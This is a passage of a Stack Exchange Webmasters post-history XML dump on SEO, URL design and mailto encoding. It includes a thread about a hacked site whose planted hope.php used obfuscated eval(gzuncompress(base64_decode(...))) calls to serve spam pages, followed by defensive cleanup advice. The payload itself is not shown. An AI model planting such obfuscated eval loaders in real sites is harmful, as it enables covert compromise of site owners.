  <row Id="37769" PostHistoryTypeId="2" PostId="15908" RevisionGUID="0c8c884d-154f-403f-b0a3-23e3fb3d2115" CreationDate="2011-06-25T16:19:10.407" UserId="1253" Text="`&lt;h1&gt;` tags are essentially the title of your pages. It should tell a user what the page is about. If you have more then one `&lt;h1&gt;` tag on a page then your page is probably doing too much and should be broken up into two or more pages. This allows each page to be focused on one main topic which makes it easier for users to understand and, not coincidentally, helps the search engines understand it too (in other words it is optimized for one topic which is good for your SEO)." />
  <row Id="37770" PostHistoryTypeId="2" PostId="15909" RevisionGUID="b61e3742-6d02-4a82-b6e3-daec4b390b0e" CreationDate="2011-06-25T16:21:34.083" UserId="8558" Text="I have several pages on my site that I did not include the Google Analytics code. Will it improve my site's Google ranking if I include the GA on all of my pages and increase the number of visits on GA?" />
  <row Id="37771" PostHistoryTypeId="1" PostId="15909" RevisionGUID="b61e3742-6d02-4a82-b6e3-daec4b390b0e" CreationDate="2011-06-25T16:21:34.083" UserId="8558" Text="Does Google Analytics data affect SEO?" />
  <row Id="37772" PostHistoryTypeId="3" PostId="15909" RevisionGUID="b61e3742-6d02-4a82-b6e3-daec4b390b0e" CreationDate="2011-06-25T16:21:34.083" UserId="8558" Text="&lt;seo&gt;&lt;google&gt;&lt;google-analytics&gt;" />
  <row Id="37773" PostHistoryTypeId="5" PostId="15886" RevisionGUID="9fda1220-3f3b-4857-a905-afdbc8224c2c" CreationDate="2011-06-25T16:24:51.273" UserId="7198" Comment="deleted 90 characters in body" Text="###On using Asterix in URLs&#xD;&#xA;&#xD;&#xA;Using an [Asterix](http://www.asterix.com/) in your URL is probably not such a great idea, largely because:&#xD;&#xA;&#xD;&#xA; 1. Neither UTF-8 or ASCII is currently able to denote an Asterix.&#xD;&#xA; 2. He would be little more than a smudge in a standard browser address bar.&#xD;&#xA; 3. I doubt he'd like it very much. And he has some quite large friends.&#xD;&#xA; 4. It's just weird.&#xD;&#xA;&#xD;&#xA;###On using *Asterisks* in URLs&#xD;&#xA;Using an asterisk (*) in a URL (and, yes, I know that's what you meant all along) is also not such a great idea. Because it's a [reserved character,](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html) it's not used anywhere else; even though your URL scheme seems user-friendly to you, few will think to try it, and it's likely to give unpredictable results because the meaning of wildcards in URLs is hard to discern. (I couldn't tell what all of your examples meant until I read your descriptions.)&#xD;&#xA;&#xD;&#xA;Not only that, but there might be some more semantic/meaningful ways to do what you describe. For example, you could append a query string and use a 'find' and 'where' variable to tell your method what to find where:&#xD;&#xA;&#xD;&#xA;Find pages starting with 'search phrase' in `/some/folder/`:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;Find pages with 'search phrase' anywhere:&#xD;&#xA;&#xD;&#xA;`example.com/some/?find=search-phrase&amp;where=anywhere`&#xD;&#xA;&#xD;&#xA;To show all pages, I would use a separate method called 'all' instead of a query string or wildcard syntax:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/all`&#xD;&#xA;&#xD;&#xA;The query string syntax is *far* more common than asterisks -- look in your address bar next time you do a Google search, for example -- and it will likely be easier to code too.&#xD;&#xA;&#xD;&#xA;Finally, if you don't like the look of query strings, you could prepend a method name called 'search' and then use the next two blocks as the 'find' and 'where' variables. e.g. Instead of: &#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;You could have:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/search/search-phrase/start`&#xD;&#xA;&#xD;&#xA;Then, you just need to check for the 'search' keyword in your URL path, and trigger the your search method using the next two path segments as variables.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/wmLH0.gif" />
  <row Id="37774" PostHistoryTypeId="2" PostId="15910" RevisionGUID="6c03c3b7-bf85-479e-9db3-71be10876779" CreationDate="2011-06-25T16:25:23.380" UserId="1253" Text="You can hide the number of likes by using setting the dimensions of the like button to be smaller then its content. That will in effect hide the total.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&gt;&lt;/script&gt;&lt;fb:like href=&quot;http://www.example.com/&quot; show_faces=&quot;false&quot; width=&quot;450&quot;&gt;&lt;/fb:like&gt;&#xD;&#xA;&#xD;&#xA;could be changed to this:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&gt;&lt;/script&gt;&lt;fb:like href=&quot;http://www.divorcemyteam.com/&quot; show_faces=&quot;false&quot; width=&quot;100&quot;&gt;&lt;/fb:like&gt;&#xD;&#xA;&#xD;&#xA;That should cut off the count of likes for that page." />
  <row Id="37775" PostHistoryTypeId="2" PostId="15911" RevisionGUID="3cb34793-f6a4-418c-b6d8-ad39f75d69d5" CreationDate="2011-06-25T16:27:32.193" UserId="1253" Text="No. [Google Analytics does not affect your rankings][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=LLmO1GE4GvI&amp;feature=player_embedded#at=14" />
  <row Id="37776" PostHistoryTypeId="2" PostId="15912" RevisionGUID="d3e86768-3e2a-4464-94dc-b815e2c6e480" CreationDate="2011-06-25T16:35:49.003" UserId="1253" Text="If you are experiencing high bounce rates that is a good sign your pages or content are either low in quality or poorly designed. Specifically it might be:&#xD;&#xA;&#xD;&#xA; - **Poor usability** If your pages are hard to use because the content is cluttered, features are hard to find, colors are harsh on the eyes, etc, then users will leave and go look for another website to find what they are looking for.&#xD;&#xA;&#xD;&#xA; - **Poor content** If your content isn't high quality users will know (by not finding what they are looking for or not feeling confident in your data) and go look for another website that offers better information. &#xD;&#xA;&#xD;&#xA; - **Poor navigation** If it is difficult to navigate your website then obviously users will find it hard to visit multiple pages.&#xD;&#xA;&#xD;&#xA; - **Slow loading pages** Google is pressing the idea of faster websites to webmasters for a reason. The evidence clearly shows faster pages mean higher conversions and slower pages mean lost conversions.&#xD;&#xA;&#xD;&#xA; - **Users don't find what they are looking for** If you try to optimize your pages for one thing, but the page really is about another, then users will be disappointed when they find the page doesn't have the content they were looking for.&#xD;&#xA;&#xD;&#xA;So obviously what you want to do is:&#xD;&#xA;&#xD;&#xA; - Make sure your page is clean (not cluttered) and pleasing on the eyes.&#xD;&#xA;&#xD;&#xA; - Make sure your content is unique and high quality&#xD;&#xA;&#xD;&#xA; - Make sure the page titles, meta description (since it may be shown in Google's search results), headings, etc, all accurately describe what the page's content is about&#xD;&#xA;&#xD;&#xA; - Make sure things like logins and site navigation are easy to find and use." />
  <row Id="37777" PostHistoryTypeId="5" PostId="15912" RevisionGUID="86bb1911-4bf8-4b27-8c18-34aed0a9bfca" CreationDate="2011-06-25T16:41:04.850" UserId="1253" Comment="added 207 characters in body; edited body" Text="If you are experiencing high bounce rates that is a good sign your pages or content are either low in quality or poorly designed. Specifically it might be:&#xD;&#xA;&#xD;&#xA; - **Poor content** If your content isn't high quality users will know (by not finding what they are looking for or not feeling confident in your data) and go look for another website that offers better information. &#xD;&#xA;&#xD;&#xA; - **Poor usability** If your pages are hard to use because the content is cluttered, features are hard to find, colors are harsh on the eyes, etc, then users will leave and go look for another website to find what they are looking for.&#xD;&#xA;&#xD;&#xA; - **Poor navigation** If it is difficult to navigate your website then obviously users will find it hard to visit multiple pages.&#xD;&#xA;&#xD;&#xA; - **Slow loading pages** Google is pressing the idea of faster websites to webmasters for a reason. The evidence clearly shows faster pages mean higher conversions and slower pages mean lost conversions.&#xD;&#xA;&#xD;&#xA; - **Users don't find what they are looking for** If you try to optimize your pages for one thing, but the page really is about another, then users will be disappointed when they find the page doesn't have the content they were looking for.&#xD;&#xA;&#xD;&#xA;So obviously what you want to do is:&#xD;&#xA;&#xD;&#xA; - Make sure your page is clean (not cluttered) and pleasing on the eyes.&#xD;&#xA;&#xD;&#xA; - Make sure your content is unique and high quality&#xD;&#xA;&#xD;&#xA; - Make sure the page titles, meta description (since it may be shown in Google's search results), headings, etc, all accurately describe what the page's content is about&#xD;&#xA;&#xD;&#xA; - Make sure things like logins and site navigation are easy to find and use.&#xD;&#xA;&#xD;&#xA; - Make sure your pages load quickly. [Here are some tools and ideas for doing that][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/15380/ideas-to-improve-website-loading-speed/15381#15381" />
  <row Id="37778" PostHistoryTypeId="17" PostId="15913" RevisionGUID="e5e13c00-615d-4cdf-93d2-55e7ddc7f9e3" CreationDate="2011-06-25T16:55:34.670" UserId="-1" Comment="from http://stackoverflow.com/questions/6459116/client-website-compromised-found-a-strange-php-file-any-ideas" Text="" />
  <row Id="37779" PostHistoryTypeId="17" PostId="15914" RevisionGUID="a4185b70-fd6d-4837-93a4-471ffdaa5b53" CreationDate="2011-06-25T16:55:34.670" UserId="-1" Comment="from http://stackoverflow.com/questions/6459116/client-website-compromised-found-a-strange-php-file-any-ideas" Text="" />
  <row Id="37780" PostHistoryTypeId="2" PostId="15914" RevisionGUID="f9498755-db6d-4740-9960-9d04c90f06c0" CreationDate="2011-06-23T19:09:58.840" UserDisplayName="Frits van Campen" Text="It's probably just a [link farm][1]. The file itself isn't malicious but since they got it there you, or someone sharing your server, very likely has a security hole somewhere.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Link_farm" />
  <row Id="37781" PostHistoryTypeId="2" PostId="15915" RevisionGUID="f97de00b-f81d-4a16-b46f-e9152fb985cd" CreationDate="2011-06-23T19:10:32.990" UserId="9542" UserDisplayName="Cyclone" Text="Your website has been compromised if you're seeing strange files which are obviously not yours.&#xD;&#xA;&#xD;&#xA;Steps to take:&#xD;&#xA;&#xD;&#xA;1. **Change all ftp/logins**: This will ensure that if it was an ftp account that was compromised, the hacker would need to once again find your password&#xD;&#xA;2. **Secure your script**: I'd recommend using a penetration tester like &lt;a href=&quot;http://nmap.org&quot;&gt;nmap&lt;/a&gt; or &lt;a href=&quot;http://www.mavitunasecurity.com/netsparker/&quot;&gt;Netsparker&lt;/a&gt; to check for sql injection vulnerabilities, xss injection vulnerabilities, or other.&#xD;&#xA;3. It may have been from a &lt;a href=&quot;http://en.wikipedia.org/wiki/Rootkit&quot;&gt;rootkit&lt;/a&gt; or control kit, which means the whole server is compromised. You should rebuild the apache server from scratch, or restore the whole shebang from a backup&#xD;&#xA;4. **Double-check all people**: I'm not accusing any partner who also works on your site of doing this, but you should make sure that they haven't done something stupid like share their passwords with obscure sites.&#xD;&#xA;5. **Stop people from accessing &quot;hope.php&quot; on your server**: Set up your .htaccess file to deny access to any file whatsoever which is named &quot;hope.php&quot;. &#xD;&#xA;&#xD;&#xA;This code ought to do it (I didn't test it, but it should work):&#xD;&#xA;&#xD;&#xA;    &lt;Files ~ &quot;hope\.php$&quot;&gt;&#xD;&#xA;    Order allow,deny&#xD;&#xA;    Deny from all&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;&#xD;&#xA;6. **Do a search**: Check to make sure no other strange files are on your server, and make sure all files which are on the server are your own.&#xD;&#xA;7. **De-scramble the file fully**: If you can find out a name or an author, you can better determine the source. Often the creators of scripts like this are narcissistic, and will almost always include a credit to themself somewhere.&#xD;&#xA;8. **Most importantly, don't overreact to anything that you find**: My site's been hacked before, and that php file wasn't obfuscated. In it, there were heavily encrypted variables named stuff like `$backdoor` and stuff like that that sounded scary. Upon decrypting, they wound up being pieces of the html template for the shell script. The `$backdoor` variable was actually just `&lt;img src=&quot;http://linktoheaderimage&quot; /&gt;`. &#xD;&#xA;&#xD;&#xA;This is the best advice I can offer you, I hope your issue is resolved.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: I've actually gone ahead and run the script on a &lt;a href=&quot;http://codepad.viper-7.com/WrYFqQ&quot;&gt;codepad&lt;/a&gt;, and it doesn't seem to do much of anything. Be wary of it. I'll examine all code fully and see if I can determine what the heck this thing even does..." />
  <row Id="37782" PostHistoryTypeId="2" PostId="15913" RevisionGUID="cf3920e3-6ee6-4c42-b8a9-e74c35d965e1" CreationDate="2011-06-23T18:48:03.327" UserDisplayName="Kevin Strong" Text="I do support work for a web development company and I found a suspicious file today on the website of one of our clients called &quot;hope.php&quot; which contained several eval(gzuncompress(base64_decode('....'))) commands (which on a site like this, usually indicates that they've been hacked).&#xD;&#xA;&#xD;&#xA;Searching for the compromised site on google, we got a bunch of results which link to hope.php with various query strings that seem to generate different groups of seo terms like so:&#xD;&#xA;&#xD;&#xA;![search results][1]&#xD;&#xA;&#xD;&#xA;(the second result from the top is legitimate, all the rest are not)&#xD;&#xA;&#xD;&#xA;Here is the source of &quot;hope.php&quot;:&#xD;&#xA;http://pastebin.com/7Ss4NjfA&#xD;&#xA;&#xD;&#xA;And here is the decoded version I got by replacing the eval()s with echo():&#xD;&#xA;http://pastebin.com/m31Ys7q5&#xD;&#xA;&#xD;&#xA;Any ideas where this came from or what it is doing? I've of course already removed the file from the server, but I've never seen code like this so I'm rather curious as to its origin. Where could I go to find more info about something like this? &#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/trGrY.png" />
  <row Id="37783" PostHistoryTypeId="1" PostId="15913" RevisionGUID="cf3920e3-6ee6-4c42-b8a9-e74c35d965e1" CreationDate="2011-06-23T18:48:03.327" UserDisplayName="Kevin Strong" Text="client website compromised, found a strange .php file. any ideas?" />
  <row Id="37784" PostHistoryTypeId="3" PostId="15913" RevisionGUID="cf3920e3-6ee6-4c42-b8a9-e74c35d965e1" CreationDate="2011-06-23T18:48:03.327" UserDisplayName="Kevin Strong" Text="&lt;php&gt;&lt;security&gt;&lt;seo&gt;" />
  <row Id="37785" PostHistoryTypeId="17" PostId="15915" RevisionGUID="fdc7bcfc-dc2b-47a4-8de5-7a6636d7d35b" CreationDate="2011-06-25T16:55:34.670" UserId="-1" Comment="from http://stackoverflow.com/questions/6459116/client-website-compromised-found-a-strange-php-file-any-ideas" Text="" />
  <row Id="37786" PostHistoryTypeId="17" PostId="15916" RevisionGUID="6144c770-fc34-4e56-aabf-55d15064784e" CreationDate="2011-06-25T16:55:34.670" UserId="-1" Comment="from http://stackoverflow.com/questions/6459116/client-website-compromised-found-a-strange-php-file-any-ideas" Text="" />
  <row Id="37787" PostHistoryTypeId="2" PostId="15916" RevisionGUID="a2d61b21-0943-4adb-b88a-8c1f17df81b2" CreationDate="2011-06-23T21:13:13.953" UserId="7820" Text="This is an example of a hacked server which was done by stealing FTP information. All your questions on how to remove it fully can be found here: &#xD;&#xA;http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/comment-page-1/&#xD;&#xA;&#xD;&#xA;Most importantly:&lt;Br /&gt;&#xD;&#xA;&#xD;&#xA;&gt; If your site happens to be one of the&#xD;&#xA;&gt; compromised sites that host malicious&#xD;&#xA;&gt; doorway pages:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Thoroughly scan your computer for    malware&#xD;&#xA;&gt;  - Once your computer is clean, change    all site passwords (even for sites   &#xD;&#xA;&gt; that don’t seem to be compromised   &#xD;&#xA;&gt; yet). Don’t save passwords in FTP   &#xD;&#xA;&gt; clients – most of them can’t protect  &#xD;&#xA;&gt; your passwords from malware. Consider &#xD;&#xA;&gt; using password managers (like   &#xD;&#xA;&gt; KeePass) that encrypt all data with a &#xD;&#xA;&gt; master password.&#xD;&#xA;&gt;  - Use SFTP instead of FTP if possible.&#xD;&#xA;&gt;  - Now remove the doorway .php script,    .htaccess file with rewrite rules if  &#xD;&#xA;&gt; it was created, the .log/ directory   &#xD;&#xA;&gt; and all its content.&#xD;&#xA;&gt;  - You should also scan your server for    suspicious files that might&#xD;&#xA;&gt; have been    uploaded to your server&#xD;&#xA;&gt; using the    ?up100500 requests." />
  <row Id="37788" PostHistoryTypeId="2" PostId="15917" RevisionGUID="e8a1b14e-a88f-4be6-9d4a-502a631f012b" CreationDate="2011-06-25T18:07:14.430" UserId="6901" Text="I have a site with a phpbb forum. I'm working on adding a dokuwiki wiki to the site, and I would like to integrate the two. The phpbb forum is running `phpbb 3.0.8`, and the dokuwiki installation is running `2011-05-25a &quot;Rincewind&quot;`. Basically what I want is:&#xD;&#xA;&#xD;&#xA; - for users to be able to log into the dokuwiki wiki with their phpbb account. &#xD;&#xA; - Users should only be able to register from the phpbb registration interface.&#xD;&#xA; - Cookie integration would be nice, but is not required.&#xD;&#xA;&#xD;&#xA;Is there any way to do this?" />
  <row Id="37789" PostHistoryTypeId="1" PostId="15917" RevisionGUID="e8a1b14e-a88f-4be6-9d4a-502a631f012b" CreationDate="2011-06-25T18:07:14.430" UserId="6901" Text="Integrating PHPBB With DokuWiki" />
  <row Id="37790" PostHistoryTypeId="3" PostId="15917" RevisionGUID="e8a1b14e-a88f-4be6-9d4a-502a631f012b" CreationDate="2011-06-25T18:07:14.430" UserId="6901" Text="&lt;phpbb&gt;&lt;integration&gt;&lt;dokuwiki&gt;" />
  <row Id="37791" PostHistoryTypeId="2" PostId="15918" RevisionGUID="ccd9b3d8-cf2a-4929-9be3-087f314950a1" CreationDate="2011-06-25T18:09:13.243" UserId="-1" Text="" />
  <row Id="37792" PostHistoryTypeId="2" PostId="15919" RevisionGUID="c47ad25f-cd62-4dd3-84b0-b78b763b8811" CreationDate="2011-06-25T18:09:13.243" UserId="-1" Text="" />
  <row Id="37793" PostHistoryTypeId="25" PostId="15909" RevisionGUID="e19b6cc3-bc5f-4c12-8ce7-1b96c69eae68" CreationDate="2011-06-25T18:25:09.127" Comment="http://twitter.com/#!/StackWebmasters/status/84688591715966976" />
  <row Id="37794" PostHistoryTypeId="2" PostId="15920" RevisionGUID="fa45c7d2-c72d-45bc-8e99-38839f792382" CreationDate="2011-06-25T18:53:26.730" UserId="3" Text="When placing an email address with an [address tag][1] (aka sub-addressing) like `username+foo@example.com` in a [mailto][2] hyperlink &amp;hellip;&#xD;&#xA;&#xD;&#xA;`&lt;a href=&quot;mailto:username+foo@example.com&quot;&gt;mail us now!&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;**&amp;hellip; should the plus in the email be URL encoded?**&#xD;&#xA;&#xD;&#xA;`&lt;a href=&quot;mailto:username%2Bfoo@example.com&quot;&gt;mail us now!&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;I can't figure this out, and the documentation is conflicting. Our real world tests have produced mixed results as well, making it even more confusing.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Email_address#Address_tags&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Mailto" />
  <row Id="37795" PostHistoryTypeId="1" PostId="15920" RevisionGUID="fa45c7d2-c72d-45bc-8e99-38839f792382" CreationDate="2011-06-25T18:53:26.730" UserId="3" Text="Should plus be encoded in mailto: hyperlinks?" />
  <row Id="37796" PostHistoryTypeId="3" PostId="15920" RevisionGUID="fa45c7d2-c72d-45bc-8e99-38839f792382" CreationDate="2011-06-25T18:53:26.730" UserId="3" Text="&lt;hyperlink&gt;&lt;url-encoding&gt;&lt;mailto&gt;" />
  <row Id="37797" PostHistoryTypeId="2" PostId="15921" RevisionGUID="71193158-3616-4062-97c7-f600324dc8ef" CreationDate="2011-06-25T18:59:32.653" UserId="2357" Text="The plus is used to encode spaces in URLs, not in HTML and not in SMTP (RFC2821) nor in Email (RFC2821).&#xD;&#xA;&#xD;&#xA;MTAs treat + and %2B as different things, so you should use + if you mean plus, not %2B.&#xD;&#xA;&#xD;&#xA;You would only apply encoding on mailto: URLs embedded in HTML if the characters in the email address are special to html (ampersands, angle brackets etc.).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37798" PostHistoryTypeId="16" PostId="15921" RevisionGUID="c3bc9b94-e994-458e-b420-2d7bf71f76f5" CreationDate="2011-06-25T18:59:32.653" UserId="2357" />
  <row Id="37799" PostHistoryTypeId="2" PostId="15922" RevisionGUID="33ff0a96-c2f3-4ead-a157-6959ad1c489f" CreationDate="2011-06-25T19:01:53.820" UserId="8563" Text="I think that encoding it or not, won't make a real difference. &#xD;&#xA;The problem are the mail clients. For examle, Yahoo Mail only uses hyphen for sub adressing whereas gMail uses the plus.&#xD;&#xA;&#xD;&#xA;That's my 2 cents...&#xD;&#xA;&#xD;&#xA;EDIT: The response below has a solid point." />
  <row Id="37800" PostHistoryTypeId="5" PostId="15920" RevisionGUID="6c354850-976c-43a2-ae1e-9ec56ef68e58" CreationDate="2011-06-25T19:04:45.613" UserId="3" Comment="deleted 32 characters in body" Text="When placing an email address with an [address tag][1] (aka sub-addressing) in a [mailto][2] hyperlink &amp;hellip;&#xD;&#xA;&#xD;&#xA;`&lt;a href=&quot;mailto:username+foo@example.com&quot;&gt;mail us now!&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;**&amp;hellip; should the plus in the email be URL encoded?**&#xD;&#xA;&#xD;&#xA;`&lt;a href=&quot;mailto:username%2Bfoo@example.com&quot;&gt;mail us now!&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;I can't figure this out, and the documentation is conflicting. Our real world tests have produced mixed results as well, making it even more confusing.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Email_address#Address_tags&#xD;&#xA;[2]: http://en.wikipedia.org/wiki/Mailto" />
  <row Id="37801" PostHistoryTypeId="2" PostId="15923" RevisionGUID="ab6e0b1f-9267-45d5-ab6a-a486dd695a20" CreationDate="2011-06-25T19:07:42.040" UserId="8565" Text="A strict reading of the relevant RFC says that the &quot;+&quot; should be encoded.&#xD;&#xA;&#xD;&#xA;Section 2, top of page 2 on http://tools.ietf.org/html/rfc2368 says:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Note that all URL    reserved&#xD;&#xA;&gt; characters in &quot;to&quot; must be encoded: in&#xD;&#xA;&gt; particular,    parentheses, commas,&#xD;&#xA;&gt; and the percent sign (&quot;%&quot;), which&#xD;&#xA;&gt; commonly occur    in the &quot;mailbox&quot;&#xD;&#xA;&gt; syntax.&quot;&#xD;&#xA;&#xD;&#xA;The RFC for URIs (http://tools.ietf.org/html/rfc3986#section-2.2) lists &quot;+&quot; as a reserved character.&#xD;&#xA;&#xD;&#xA;That said, what is &quot;correct&quot; is not necessarily what will work in all browsers. Some browsers will obviously always handle the correct things as if they were wrong and the incorrect as if they were right." />
  <row Id="37802" PostHistoryTypeId="5" PostId="15918" RevisionGUID="82d58a73-9a36-477b-acfa-bc4f78a16b7d" CreationDate="2011-06-25T19:19:46.723" UserId="6901" Comment="added 58 characters in body" Text="A php based wiki application. See http://www.dokuwiki.org/" />
  <row Id="37803" PostHistoryTypeId="24" PostId="15918" RevisionGUID="82d58a73-9a36-477b-acfa-bc4f78a16b7d" CreationDate="2011-06-25T19:19:46.723" Comment="Proposed by 6901 approved by 3 edit id of 412" />
  <row Id="37804" PostHistoryTypeId="5" PostId="15921" RevisionGUID="da228349-55e6-4b7d-a42f-89543c124e2e" CreationDate="2011-06-25T19:20:08.780" UserId="2870" Comment="I made it right and added references" Text="The plus is used to encode spaces in URLs, not in HTML and not in SMTP (RFC2821) &lt;strike&gt;or in Email (RFC2821).&lt;/strike&gt;. However, since `mailto:address@server.com` is a URI (it has a protocol, the protocol separator and the protocol address) then it should be [treated as a URI and it should be percent encoded][2].&#xD;&#xA;&#xD;&#xA;Therefore, it is up to the client to resolve accurately the encoded representation and to decode it as far as is appropriate. [Here is Microsoft's official take on the matter][1].&#xD;&#xA;&#xD;&#xA;&lt;strike&gt;MTAs treat + and %2B as different things, so you should use + if you mean plus, not %2B.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;You should apply encoding on mailto: URLs embedded in HTML if the characters in the email address are &lt;strike&gt;special to html (ampersands, angle brackets etc.).&lt;/strike&gt; URI reserved. This ensures that you are doing the correct thing. It is up to the client to decode the URI appropriately from whence it is recieved. Yes, `this+address@gmail.com` is a very valid email; yes `this%2Baddress@gmail.com` is also valid. Yes those two are different.&#xD;&#xA;&#xD;&#xA;However, as you noted, not all clients render this correctly. I suggest finding the most likely client (gmail? browser based clients? Outlook?) that your users will do and doing what that client does. You said you tested on GMail? How did you test it? With a &quot;browser based mailto: client (such as add-ons to firefox and gmail offer) the URI is most likely not being decoded (as it should be).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   [1]: http://msdn.microsoft.com/en-us/library/aa767737(v=vs.85).aspx&#xD;&#xA;   [2]: http://en.wikipedia.org/wiki/Percent-encoding" />
  <row Id="37805" PostHistoryTypeId="24" PostId="15921" RevisionGUID="da228349-55e6-4b7d-a42f-89543c124e2e" CreationDate="2011-06-25T19:20:08.780" Comment="Proposed by 2870 approved by 6276 edit id of 414" />
  <row Id="37806" PostHistoryTypeId="5" PostId="15919" RevisionGUID="bf0fd72c-991b-484b-8891-b5d2211bdb05" CreationDate="2011-06-25T19:20:37.990" UserId="6901" Comment="added 29 characters in body" Text="A php based wiki application." />
  <row Id="37807" PostHistoryTypeId="24" PostId="15919" RevisionGUID="bf0fd72c-991b-484b-8891-b5d2211bdb05" CreationDate="2011-06-25T19:20:37.990" Comment="Proposed by 6901 approved by 3 edit id of 413" />
  <row Id="37808" PostHistoryTypeId="2" PostId="15924" RevisionGUID="6511984a-a87e-47d7-8b08-f163e48ee545" CreationDate="2011-06-25T19:23:06.797" UserId="8565" Text="I'm guessing the &quot;+&quot; in the UA strings is because of the way IIS logs it.&#xD;&#xA;&#xD;&#xA;Just to clarify, are you saying that you have query strings in links on the site and that some UAs are making requests for those URLs but using &quot;&amp;amp;&quot; instead of &quot;&amp;&quot;?&#xD;&#xA;&#xD;&#xA;If that's the case then the most likely cause is an exceedingly stupid bot that is spoofing its UA string. Any properly written HTML should encode the &amp; in the URL as &amp;amp;. A proper browser and a sensible bot have been made correctly and know that you mean &quot;http://example.com/?a=1&amp;b=2&quot; when you link to &quot;/?a=1&amp;amp;b=2&quot; in your source code. Taking any other href literally doesn't show issues, but taking those ones literally would show the behaviour that I think you're describing.&#xD;&#xA;&#xD;&#xA;I get all sorts of requests for pages that don't exist where they're requested, but do exist elsewhere, and it is normally because the bot wasn't able to handle such things as base paths (not my doing - OpenCart uses them for some reason) or absolute URLs or URLs on other hosts (it takes the path part but not the host).&#xD;&#xA;&#xD;&#xA;One good indicator tends be to running a rDNS lookup on the IP. If one or more of them resolve back to a web host then someone is running a bot/dumb script." />
  <row Id="37809" PostHistoryTypeId="2" PostId="15925" RevisionGUID="30b0fe18-6950-4eaa-9380-df99dbaf41b7" CreationDate="2011-06-25T19:24:42.670" UserId="4017" Text="The RFC1738&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 3.5. MAILTO&#xD;&#xA;&gt; &#xD;&#xA;&gt;    The mailto URL scheme is used to&#xD;&#xA;&gt; designate the Internet mailing   &#xD;&#xA;&gt; address of an individual or service.&#xD;&#xA;&gt; No additional information other   &#xD;&#xA;&gt; than an Internet mailing address is&#xD;&#xA;&gt; present or implied.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    A mailto URL takes the form:&#xD;&#xA;&gt; &#xD;&#xA;&gt;         mailto:&lt;rfc822-addr-spec&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt;    where &lt;rfc822-addr-spec&gt; is (the&#xD;&#xA;&gt; encoding of an) addr-spec, as   &#xD;&#xA;&gt; specified in RFC 822 [6]. Within&#xD;&#xA;&gt; mailto URLs, there are no reserved   &#xD;&#xA;&gt; characters.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Note that the percent sign (&quot;%&quot;) is&#xD;&#xA;&gt; commonly used within RFC 822   &#xD;&#xA;&gt; addresses and must be encoded.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Unlike many URLs, the mailto scheme&#xD;&#xA;&gt; does not represent a data object    to&#xD;&#xA;&gt; be accessed directly; there is no&#xD;&#xA;&gt; sense in which it designates an   &#xD;&#xA;&gt; object. It has a different use than&#xD;&#xA;&gt; the message/external-body type in   &#xD;&#xA;&gt; MIME.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Since there are no reserved characters it should be encoded. " />
  <row Id="37810" PostHistoryTypeId="5" PostId="15921" RevisionGUID="28a89569-eff3-4625-bfd1-a2c9fafabf20" CreationDate="2011-06-25T19:26:30.253" UserId="2870" Comment="corrected some grammar" Text="The plus is used to encode spaces in URLs, not in HTML and not in SMTP (RFC2821) &lt;strike&gt;or in Email (RFC2821).&lt;/strike&gt;. However, since `mailto:address@server.com` is a URI (it has a protocol, the protocol separator and the protocol address) then it should be [treated as a URI and it should be percent encoded][2].&#xD;&#xA;&#xD;&#xA;Therefore, it is up to the client to resolve accurately the encoded representation and to decode it as far as is appropriate. [Here is Microsoft's official take on the matter][1].&#xD;&#xA;&#xD;&#xA;&lt;strike&gt;MTAs treat + and %2B as different things, so you should use + if you mean plus, not %2B.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;You should apply encoding on mailto: URLs embedded in HTML if the characters in the email address are &lt;strike&gt;special to html (ampersands, angle brackets etc.).&lt;/strike&gt; URI reserved. This ensures that you are doing the correct thing. It is up to the client to decode the URI appropriately from whence it is recieved. Yes, `this+address@gmail.com` is a very valid email; yes `this%2Baddress@gmail.com` is also valid. Yes those two are different.&#xD;&#xA;&#xD;&#xA;However, as you noted, not all clients render this correctly. I suggest finding the most likely client (gmail? browser based clients? Outlook?) that your users will use and doing what that client does. You said you tested on GMail? How did you test it? With a &quot;browser based mailto: client (such as add-ons to firefox and gmail offer) the URI is most likely not being decoded (as it should be).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   [1]: http://msdn.microsoft.com/en-us/library/aa767737(v=vs.85).aspx&#xD;&#xA;   [2]: 